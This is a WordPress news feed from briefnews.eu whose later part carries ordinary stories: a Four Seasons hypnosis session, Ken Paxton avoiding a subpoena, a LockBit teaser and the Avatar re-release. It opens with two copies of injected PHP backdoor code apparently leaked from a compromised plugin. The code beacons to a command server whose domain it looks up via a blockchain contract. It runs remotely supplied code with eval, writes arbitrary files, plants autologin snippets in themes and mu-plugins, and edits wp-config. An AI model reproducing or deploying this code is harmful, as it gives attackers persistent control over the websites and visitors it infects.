// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); over – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 27 Sep 2022 13:34:45 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png over – Brief News https://briefnews.eu 32 32 I was hypnotized by a 5-star hotel’s ‘resident healer’ and would opt for the eccentric, $285 treatment over a massage in the future https://briefnews.eu/i-was-hypnotized-by-a-5-star-hotels-resident-healer-and-would-opt-for-the-eccentric-285-treatment-over-a-massage-in-the-future/ https://briefnews.eu/i-was-hypnotized-by-a-5-star-hotels-resident-healer-and-would-opt-for-the-eccentric-285-treatment-over-a-massage-in-the-future/#respond Tue, 27 Sep 2022 13:34:45 +0000 https://briefnews.eu/i-was-hypnotized-by-a-5-star-hotels-resident-healer-and-would-opt-for-the-eccentric-285-treatment-over-a-massage-in-the-future/ Four Seasons hypnotism session
Four Seasons hypnotism session

Hannah Towey/Insider

  • The Four Seasons Hotel spa in New York offers consultations with "certified spiritual healers."
  • From chakra healing to astrology, the unique offerings tap into a $ 639 billion wellness tourism market. 
  • I'd choose the spa's hour-long hypnosis session over spending the same amount of money on a massage.

Luxury hotels now offer a range of wellness treatments that go far beyond your typical facial or massage, but the Four Seasons "resident healer" program takes the trend to the next level. 

The hotel's spa in downtown Manhattan offers appointments catered to an individual's "spiritual awareness and personal enlightenment," ranging from a $ 380 astrology reading to a $ 485 crystal healing session. 

Over the course of an hour, I was hypnotized by one of the hotel's resident healers with a combination of visualization, manifestation, and mindfulness exercises. The session put me into a semi-trance that left me feeling more confident and relaxed. 

For $ 285, the session lived up to its advertised promise of providing "clarity and emotional release" — plus access to the spa's amenities, including the sauna and steam room. In the future, I'd choose the unique experience over spending the same amount of money on a traditional spa treatment like a massage or facial.

Nicole Hernandez, also known as "the traveling hypnotist," is a resident healer at the Four Seasons Downtown New York.
Nicole Hernandez, also known as "the traveling hypnotist," is a resident healer at the Four Seasons Downtown New York.

Hannah Towey/Insider

Prior to my session with Nicole Hernandez, also known as "the traveling hypnotist," the only experience I'd had with hypnotism was a disappointing stage performance in high school. I didn't fall into the trance that made my peers dance awkwardly and fall asleep, so I was escorted off the stage. 

I could tell this would be a completely different kind of hypnotism. Nicole felt more like a professional psychologist than a wacky stage guru, despite references to past lives and a fair amount of mindfulness buzz words.

She explained that everybody has different levels of susceptibility to hypnosis: movies, reading books, daydreaming — these are all different ways we hypnotize our brains without realizing it. People who don't frequently seek out those escapes may be harder to coach into a trance, she said. 

Prior to the session, I filled out a detailed survey (left) about my intentions and goals for the session.
Prior to the session, I filled out a detailed survey about my intentions and goals.

Nicole Hernandez / The Traveling Hypnotist

After Nicole explained what to expect, we had a 20-minute conversation about any issues I'd like to tackle. Officially a year out of college, I wanted to focus on taking the next step in my career and improving my relationships as I transition into full-on adulthood. We discussed my value system and the things that are most important to me. This part felt like therapy but with more specific action items.

From there, Nicole began our first visualization exercise, which I can only describe as trippy. She guided me through "expanding my peripheral vision" as far as possible while focusing on a single spot on the wall, which felt like my eyes were a camera zooming out. Afterward, I felt strangely relaxed, a sensation Nicole credited to our brains only being able to handle so much visual stimulus. When you intentionally overload it, everything else shuts down. 

With my inner eye officially open, Nicole proceeded to have me visualize myself on the other side of the room "wearing" the issues we discussed, taking the form of a backpack filled with rocks. Then, I had to visualize taking the backpack off and seeing how I felt without the weight. 

Four Seasons hypnotism session
Four Seasons hypnotism session

Hannah Towey/Insider

As the projection of myself ran around and danced, Nicole asked me what else she (I?) needed. I hadn't eaten lunch yet, so I opted to feed imaginary-me steak and french fries, an answer that Nicole did her best to take seriously while we both laughed. 

After feeding my projection, Nicole instructed me to open the backpack and see if there were still rocks inside, to which I responded, "well, I'm making this up (duh) … but now it's just filled with paper." Imaginary-me then put the bag back on and found the weight much lighter than when we started. 

Next, I was instructed to have her walk closer to me until our "energy merged." At this point, I was definitely in some kind of a trance and experienced an emotional release. The exercise left me feeling lighter and happier afterward (and craving steak and french fries). 

The locker room at the Four Seasons Hotel spa in downtown New York.
The locker room at the Four Seasons Hotel spa in downtown New York.

Hannah Towey/Insider

One of the crazier things was that the entire exercise only seemed to last 10 minutes, when it was actually closer to 30. Nicole said this is super common, and that four-hour hypnosis sessions can go by in a minute. 

Three days later, I've found myself returning to the backpack-filled-with-rocks image when I've felt overwhelmed or stressed, thinking to myself: "It's not rocks! It's just paper!" And maybe that's just pretending life's problems aren't there instead of fixing them, but hey, we'll see how it goes. 

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]]> https://briefnews.eu/i-was-hypnotized-by-a-5-star-hotels-resident-healer-and-would-opt-for-the-eccentric-285-treatment-over-a-massage-in-the-future/feed/ 0 Texas Attorney General ran away when served with court papers over abortion rights lawsuit, affidavit says https://briefnews.eu/texas-attorney-general-ran-away-when-served-with-court-papers-over-abortion-rights-lawsuit-affidavit-says/ https://briefnews.eu/texas-attorney-general-ran-away-when-served-with-court-papers-over-abortion-rights-lawsuit-affidavit-says/#respond Tue, 27 Sep 2022 11:11:44 +0000 https://briefnews.eu/texas-attorney-general-ran-away-when-served-with-court-papers-over-abortion-rights-lawsuit-affidavit-says/ WASHINGTON, DC - ARPIL 26: Texas Attorney General Ken Paxton speaks to reporters after the Supreme Court oral arguments in the Biden v. Texas case at the Supreme Court on Capitol Hill on Tuesday, April 26, 2022 in Washington, DC. (Photo by Sarah Silbiger for The Washington Post via Getty Images)
Texas Attorney General Ken Paxton outside the US Supreme Court.

The Washington Post / Getty Images

  • An official attempted to serve Texas Attorney General Ken Paxton with a subpoena. 
  • But Paxton fled his home in his wife's truck to avoid being served, an affidavit says. 
  • The process server said he shouted out but Paxton ignored him and continued to flee.

Texas Attorney General Ken Paxton fled his home when faced with a subpoena following a lawsuit by abortion rights groups, according to an affidavit by the man trying to serve it. 

According to the affidavit, first obtained by the Texas Tribune, Paxton escaped in a truck driven by his wife, Texas state Sen. Angela Paxton after the process server, Ernesto Martin Herrera, arrived at his home.

The subpoena required Paxton to give evidence Tuesday in a lawsuit filed by several abortion rights groups, who are seeking protections against legal threats made against them for helping women travel to other states to get abortions.

Texas has enacted tough new restrictions on abortion following the Supreme Court's decision to overturn the Roe v. Wade ruling earlier this year. 

In his affidavit, Herrera said he parked outside Paxton's address on Monday and saw a man he recognized as Paxton. He approached the front door and saw him turn around and walk away when he saw Herrera.

The door was answered by Sen. Paxton, who said her husband was on the phone and in a "hurry to leave."

Herrera said he had already spotted Paxton inside the house, so he went and waited for an hour.

He then saw Paxton emerging from a garage, but when Herrera called out Paxton's name, he "RAN back inside the house," Herrera said in the affidavit.

Shortly after, Sen. Paxton emerged from the property, got into a black truck parked in front of the house, and opened the passenger side back door, at which point "Mr. Paxton ran from the door inside the garage towards the rear door behind the driver side," said Herrera.

The process server added: "I approached the truck, and loudly called him by his name and stated that I had court documents for him. Mr. Paxton ignored me and kept heading for the truck."

Herrera said he left the subpoena documents by the truck, but the Paxtons sped away "leaving the documents on the ground."

Responding on Twitter to media reports about the incident, Paxton, who is is up for re-election in November's mid-terms, said he fled because he feared for his family over a "stranger lingering outside my home."

 

He said: "The media wants to drum up another controversy involving my work as Attorney General, so they're attacking me for having the audacity to avoid a stranger lingering outside my home and showing concern about the safety and well-being of my family."

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]]> https://briefnews.eu/texas-attorney-general-ran-away-when-served-with-court-papers-over-abortion-rights-lawsuit-affidavit-says/feed/ 0 LockBit 3.0’s ransomware surge highlights that the cybercrime epidemic is far from over  https://briefnews.eu/lockbit-3-0s-ransomware-surge-highlights-that-the-cybercrime-epidemic-is-far-from-over/ https://briefnews.eu/lockbit-3-0s-ransomware-surge-highlights-that-the-cybercrime-epidemic-is-far-from-over/#respond Tue, 27 Sep 2022 07:31:28 +0000 https://briefnews.eu/lockbit-3-0s-ransomware-surge-highlights-that-the-cybercrime-epidemic-is-far-from-over/ Artificial Intelligence is hacking datas in the near future. Emotion AI concept

LockBit 3.0’s surge in activity throughout August highlights that organizations should expect the ransomware epidemic to continue.Read More

]]> https://briefnews.eu/lockbit-3-0s-ransomware-surge-highlights-that-the-cybercrime-epidemic-is-far-from-over/feed/ 0 ‘Avatar’ was re-released in theaters again over the weekend, 13 years after it debuted — and the box office is a good sign for the upcoming sequel https://briefnews.eu/avatar-was-re-released-in-theaters-again-over-the-weekend-13-years-after-it-debuted-and-the-box-office-is-a-good-sign-for-the-upcoming-sequel/ https://briefnews.eu/avatar-was-re-released-in-theaters-again-over-the-weekend-13-years-after-it-debuted-and-the-box-office-is-a-good-sign-for-the-upcoming-sequel/#respond Mon, 26 Sep 2022 18:29:37 +0000 https://briefnews.eu/avatar-was-re-released-in-theaters-again-over-the-weekend-13-years-after-it-debuted-and-the-box-office-is-a-good-sign-for-the-upcoming-sequel/ avatar
"Avatar."

20th Century Fox

  • "Avatar" was re-released to theaters over the weekend ahead of the upcoming sequel.
  • It earned $ 30 million worldwide, $ 10 million of which came from North America.
  • It's a good sign for December's release of "Avatar: The Way of Water."

"Avatar" was the biggest movie in the world over the weekend — again.

